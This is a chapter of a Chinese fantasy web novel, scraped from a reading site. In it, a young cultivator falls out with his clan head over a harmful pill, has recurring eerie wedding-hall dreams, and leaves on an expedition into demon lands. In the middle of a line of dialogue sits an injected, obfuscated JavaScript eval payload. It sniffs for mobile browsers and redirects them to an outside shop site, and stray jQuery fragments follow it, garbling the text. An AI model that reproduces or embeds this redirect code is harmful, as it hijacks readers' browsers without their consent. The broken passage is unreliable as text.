默认冷灰
24号文字
方正启体

7. 梦中喜堂

作者:疏桐曲本书字数:K更新时间:
    那丹药实则是一种从十方海传过来的极其稀有的蛊虫,的确有助人锻体的功效。


    但方式却极为霸道,服用后蛊虫会直接进入灵台,将灵台撕碎,再用涎液粘连重组。


    重组过后的灵台会直接扩大到能容纳锻体修为的大小,随后蛊虫便会在其中自爆,化作灵力将灵台填充,修为锻体后,身体也会产生蜕变,只是不如正常锻体那般脱离凡身,金刚不坏。


    这般经历比正常锻体要好忍耐一些,但灵台上的伤痕很难痊愈,大多会留下后遗症。


    不过只是留下一些后遗症,便能越过修仙生涯中最大的一个分水岭,以至于这种蛊虫在整个镜海洲供不应求,短短几年便被吃得绝迹。墨端给墨岚的那颗,是花费了很大代价在十方海黑市中购入的。


    事实上墨岚的身体已经在多年的修炼中有了好转,一颗蛊丹毁了一切。


    ……


    “醒了?”


    墨岚回神,转过头看向门口。


    墨端的脸上难掩疲惫,他站在门口,身后是肆虐的风雪。


    天气实在太奇怪,昨日尚有晴光,今日便温度骤降,雪下了一整天还不见停。


    墨岚直起身:“家主。”


    墨端摆手,让他免礼,墨方退出房门,顺手将门带上。


    床头柜上有温热的茶水,墨端给墨岚倒了一盏,坐到桌前。


    他没有主动说话,最后是墨岚率先打破寂静。


    “家主,我的修为是怎么回事?”


    他的声音听不出情绪,却让墨端烦躁地捏捏眉心:“我寻了救你的法子,这只是一些恢复健康的小反噬。”


    墨岚静默一瞬:“……又是什么蛊?”


    墨端抬起眼与他对视,嗓音冰冷:“你在质问我吗,墨岚。”


    墨岚将手中的茶盏放在床头柜上,发出不轻不重的一声响。


    “不是蛊的话,又是什么鬼修邪术?”


    墨端的火气“噌”的一下被点燃,他将桌上的杯具扫落,斥道:“你知道你在说什么吗?!”


    墨岚的双眼黑而沉静,语调没有波动:“你没否认,不是吗?”


    墨端站起身,凳子腿与地板摩擦,发出一声刺响。


    “我看你是昏头了,墨岚。我天机城不需要没本事的少主,在锻体之前,你就好好待在这里,莫再出去……丢人现眼!”


    房门便被毫不留情的关上,几片雪花乱入房中,很快被温热的空气蒸腾,消失得无影无踪。


    墨岚闭上眼,吐出一口浊气,躺回了床榻。


    ……


    墨岚陷入了梦魇的死循环。


    他被关在房中禁闭,休息的时间大大增多,那日的喜堂和陌生男子不断回到他的梦境,夜夜如此。


    更让墨岚感到烦躁的是,他入梦的时间日渐变多,那些朦胧的画面愈加连贯清晰。


    自从他有意识,到不远处的“司仪”用尖利的声音高喊“一拜天地”,再到面前陌生的男人伸出手勾住他的红盖头。


    一日比一日迅速,一日比一日沉浸,但他仿佛一具傀儡,用再多的力也动弹不得,只能拼命瞪着眼,试图看清那近在咫尺的男人。


    数次以失败告终,但随着梦境的时间渐渐绵长,墨岚断定,再有三五天,他的红盖头便能彻底被掀开。


    但那梦中的一切都让他感到不安,墨岚疑心是墨端在他身上动的手脚,不敢再继续梦下去。


    于是他便开始整日打坐,梳理经脉全力冲击锻体,尽量避免睡眠。


    效果显著,墨岚再没入梦,总算能专心修炼。


    一个月后。


    暖阁中,墨岚坐在温热的灵池水中,吐纳天地灵气。


    洗髓锻体,他的身体发生了显著的变化,原先灵台上那些裂痕愈合了许多,不再像先前那样岌岌可危,随时有崩溃的可能。


    墨岚过去十七年人生,从未有一刻感受到如此松快。


    灵力回体,墨岚合上疲惫的双眼。


    他锻体成功了。


    整整半个月没有入眠,墨岚的精神紧绷到了极致,连动弹的力气都没有。


    他身上裹着浴袍,靠在石壁上睡过去,呼吸很快变得平稳。


    -


    “别怕……睡吧。”


    一道低沉的嗓音在墨岚耳边炸开,他瞬间清醒,偏偏眼睛像是被一双看不见的大手蒙蔽,只能看见一片黑暗。


    耳边能听到喧闹的铃铛声,却是被厚厚的障壁隔开,沉闷又刮耳。


    墨岚全身浮起鸡皮疙瘩,他的四肢被摆得很规整,只是……右臂的触感告诉他,他的身边,还躺着另一个人。


    就像……躺着在一口巨大的棺材中。


    急促的喘息声在这小小的空间里回荡蔓延,方才那句别怕像是墨岚昏睡间的幻听。


    他就这样在极度的不安与恐惧中再次失去了意识。


    再醒来时,墨岚发现自己已经穿戴整齐,躺在了床榻上。


    他下意识狠咬一口口腔内壁,以确认自己此刻是清醒的。


    鲜血从嘴角渗出,墨岚睁开眼,面不改色地舐去血丝。


    他扶着酸胀的脑袋坐起来,看了眼天色。


    正是清晨,外面的天色灰蒙蒙地,但能依稀见到天光。


    床头柜上放着用法术温着的汤药,墨岚缓了一会,端起来一饮而尽。


    片刻后,暖阁的大门被推开,墨岚用手抹去门上符纸残留的灰痕,迈入雪地。


    他肩上披了一件单薄的外衣,在这冰天雪地中下意识地捂住胸腔。


    肺部却没传来熟悉的痒意,墨岚愣了愣,随后抬起手,接下一片掉落的雪花。


    “墨岚。”


    墨端的声音在他身后响起,想必是感受到了禁闭法咒的异动。


    墨岚转过身,任由他打量。


    墨端对他单薄的衣物不置一词,先前医仙来过,向他汇报了墨岚的身体情况。


    他扫了两眼便抬脚往房中走:“进来吧。”


    墨岚沉默着跟着他回到房间。


    墨端掀开衣角大马金刀地坐到桌前,开门见山道:“你已锻体,三日后我会集结一批本家弟子,同你一起去十方海上一处秘境。”


    “那里我数年前偶然发现,里面有一株罕见的千年泪竹。”


    符修的法器是一张承载命魂的本命符,多由竹浆制作,工序复杂,讲究的便是水火不侵,坚韧耐用。


    毕竟是要带到坟墓里的东西,符修极为重视,因此原材料的挑选更加慎重。


    泪竹是一种只生在北境的竹子,传言中是仙人之泪浇灌生长,以坚韧闻名,极为稀缺,只长在极寒之地,踪迹难觅。


    墨岚尚未拥有本命符,泪竹便是他最好的选择。


    “我一人就可以。”他不太想与旁人打交道。


    墨端皱着眉:“我挑的都是这辈佼佼者,各自都有任务,你权当他们是侍从,带回


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119780|195960||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    泪竹便可。”


    他这样说,墨岚知晓没有转圜的余地,也不再反驳。


    墨岚沉吟着,想问问他无故昏迷那日到底发生了什么。


    只是话在唇边,始终开不了口。


    毕竟那样的梦境若是让墨端知晓,只会认为他得了失心疯。


    换句话说,他身上一切修炼之外的反常举动,在墨端眼中都是失心疯。


    后日辰时,一队人马准时在校场集合。


    墨岚从房门中走出,他身上穿着方便在雪地中行走的短袍长靴,腰带中环着几年前墨端赠他的软剑,另外配有一把匕首。


    剑没有名字,墨岚擅自将他称作“裁风”,给匕首取了个相对的“断月”。


    这些年他不仅要修符法,还在长老的教导下学了防身的剑术和近战身法,不至于太弱。


    不过他自七年前被寻回墨家后再未出过天机城,极少有机会施展。


    “少主……少主!”


    院中传来一道清亮的少年嗓音,墨岚抬眼看去,只见墨方挎着行囊,三步并两步冲到他跟前。


    “少主,包袱收拾好了。”墨方将包袱递过去,双眼明亮,脸上神情带着些踟蹰犹豫。


    墨岚接过包裹,系在自己身上,轻声开口:“怎么了?”


    墨方支吾几声,似是觉得有些不好意思,他伸出手挠挠后脑勺:“……少主,我同胞的兄长也被选入队中,若是您方便,可、可否——”


    墨岚看了看天色,打断道:“他叫什么名字?”


    墨方愣了两秒,有些激动地接话:“我兄长叫墨稳!时年十九,尚未锻体,他长得同我相像,您一眼便能……”


    时辰赶不及了,墨岚点头应道:“我会照顾他的,走了。”


    墨方看着他走往校场的方向,站在原地发了一会呆,有些懊恼自己嘴笨耽误事,复又感到欣喜。


    他本是只想让墨岚悄悄他兄长如今过得好不好,长高没有,身体如何的。


    毕竟当年他们二人被送到主家,他天资愚钝被打发做了杂役,但墨稳颇有灵性,入了符门。一个困于内院琐碎,一个修行繁忙,迄今已有四年未见,只偶有书信来往。


    ……


    这次外出算是墨端对墨岚的历练,他们心照不宣。


    毕竟他刚锻体,正是需要造势的阶段。


    墨岚来得比较晚,他后面还有人未到,恰好墨端唤他前去谈话,他便坐到了墨端身边的位置。


    片刻后所有人都到了,如墨端所说,其中大多是与墨岚年纪相仿的小辈,共十八人,其中锻体者包括墨岚只有四位。


    墨岚坐在墨端身边,垂着脑袋发呆。


    他能感觉到这些人放在自己身上的探究视线,无心理会。


    天边泛着鱼肚白,细雪簌簌飘落,正是茫茫冰原中最好的保护色。


    “时候不早了,你们出城吧。”


    墨端挥手,在每个人面前放了一张十方海的地图,图上标着那处秘境所在的位置,和各处大魔盘踞的洞府。


    十方海的范围很广,魔宫在靠近南边的位置,离镜海天域较近。至于与禅州相近的位置,大多是荒原,再往南些有了人烟,也是魔族的地盘。


    因此,他们出城后需要穿越大约百里的雪原才能找到那处鲜有人知的秘境,且要隐蔽行事,尽量不惊扰那群弑杀残暴的魔头。


    墨岚从家主身边站起身,旁若无人地走向直通城门的法阵。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)